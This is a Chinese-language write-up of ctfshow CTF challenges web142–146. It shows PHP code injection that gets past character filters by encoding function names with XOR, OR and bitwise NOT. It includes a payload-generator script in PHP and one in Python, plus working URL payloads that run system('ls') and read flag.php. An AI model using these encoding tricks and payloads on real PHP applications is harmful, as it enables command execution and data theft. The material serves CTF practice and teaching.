目录
1、web142
2、web143
3、web144
4、web145
5、web146
1、web142
要求 v1 是数字,之后将 v1乘以 0x36d(即16进制的869)五次,然后将结果转换为整数并赋值给变量 $d,使用 sleep 函数使程序休眠 $d 秒,最后读取flag.php文件的内容并输出到浏览器。
那直接传 0 呗,不然乘出来都太大了,payload:
?v1=0
查看源码:
拿到 flag:ctfshow{3da033cc-68c7-46dc-99fa-e085f7e1d241}
2、web143
在 web141 的基础上新增过滤加减、取反、或,我们可以使用乘除号代替加减号,取反、或不能使用我们还可以采用异或运算构造 payload。
这里我们先采用之前命令执行的脚本来生成可用的字符:
选择异或模式,正则表达式替换成题目的。
<?php
//或
function orRce($par1, $par2){
$result = (urldecode($par1)|urldecode($par2));
return $result;
}
//异或
function xorRce($par1, $par2){
$result = (urldecode($par1)^urldecode($par2));
return $result;
}
//取反
function negateRce(){
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}
//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){
if ($mode!=3){
$myfile = fopen("rce.txt", "w");
$contents = "";
for ($i=0;$i<256;$i++){
for ($j=0;$j<256;$j++){
if ($i<16){
$hex_i = '0'.dechex($i);
}else{
$hex_i = dechex($i);
}
if ($j<16){
$hex_j = '0'.dechex($j);
}else{
$hex_j = dechex($j);
}
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}else{
$par1 = "%".$hex_i;
$par2 = '%'.$hex_j;
$res = '';
if ($mode==1){
$res = orRce($par1, $par2);
}else if ($mode==2){
$res = xorRce($par1, $par2);
}
if (ord($res)>=32&ord($res)<=126){
$contents=$contents.$res." ".$par1." ".$par2."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
}else{
negateRce();
}
}
generate(2,'/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i');
//1代表模式,后面的是过滤规则
运行后可以得到一个 txt 文件,也就是我们一会儿需要用来构造 payload 的字典:
对之前命令执行里的攻击脚本进行一些修改,我们只获取 payload:
# -*- coding: utf-8 -*-
def action(arg):
s1 = ""
s2 = ""
with open("rce.txt", "r") as f:
lines = f.readlines()
for i in arg:
for line in lines:
if line.startswith(i):
s1 += line[2:5]
s2 += line[6:9]
break
output = "(\"" + s1 + "\"^\"" + s2 + "\")"
return output
while True:
function_input = input("\n[+] 请输入你的函数:")
command_input = input("[+] 请输入你的命令:")
param = action(function_input) + action(command_input)
print("\n[*] 构造的Payload:", param)
这里我们先构造 ("system")("ls")
运行得到:
("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f")
因此我们最终 payload 为:
?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f")*
构造读取 flag.php 的命令:
运行得到:
("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%0c%01%07%01%0f%08%0f"^"%7f%60%60%20%60%60%60%60%2f%7f%60%7f")
构造 payload:
?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%0c%01%07%01%0f%08%0f"^"%7f%60%60%20%60%60%60%60%2f%7f%60%7f")*
拿到 flag:ctfshow{2fbf0be5-c0d1-462a-b368-f85f09754391}
本来还有一个这种异或构造的脚本,但是有一个字母没构造好:
ls 可以构造:
我们试一下将前面 payload 里的 ls 替换:
?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")(",("^"@[")*
也是可以的
3、web144
检查 $v1 是否是数字,并且 $v3 是否是单个字符(通过调用 check($v3) 函数进行检查),check 函数检查字符串长度是否为 1,$v2 要求只包含非字母数字字符。
那么让中间的 v3 为运算符即可,直接用上一题异或的方法,传参位置不同罢了:
?v1=1&v2=("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%0c%01%07%01%0f%08%0f"^"%7f%60%60%20%60%60%60%60%2f%7f%60%7f")&v3=-
拿到 flag:ctfshow{012f9c5e-4c67-4a0c-9975-59cb22386e31}
当然也可以采用或、取反等方法。
4、web145
这里过滤的是异或,我们采用或、取反都可以,加减乘除都被过滤,可以用位或运算符 |。
这里采用取反的方法,payload:
?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|
也可以用三元运算符:
?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F):
拿到 flag:ctfshow{fac77734-2cf8-41fc-a13b-ec6191389d71}
5、web146
新增过滤冒号,用或 | 即可,payload:
?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|
还可以用等于号:
?v1=1&v2=1&v3===(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|
拿到 flag:ctfshow{3f5c8536-09c9-47aa-b545-e08354412790}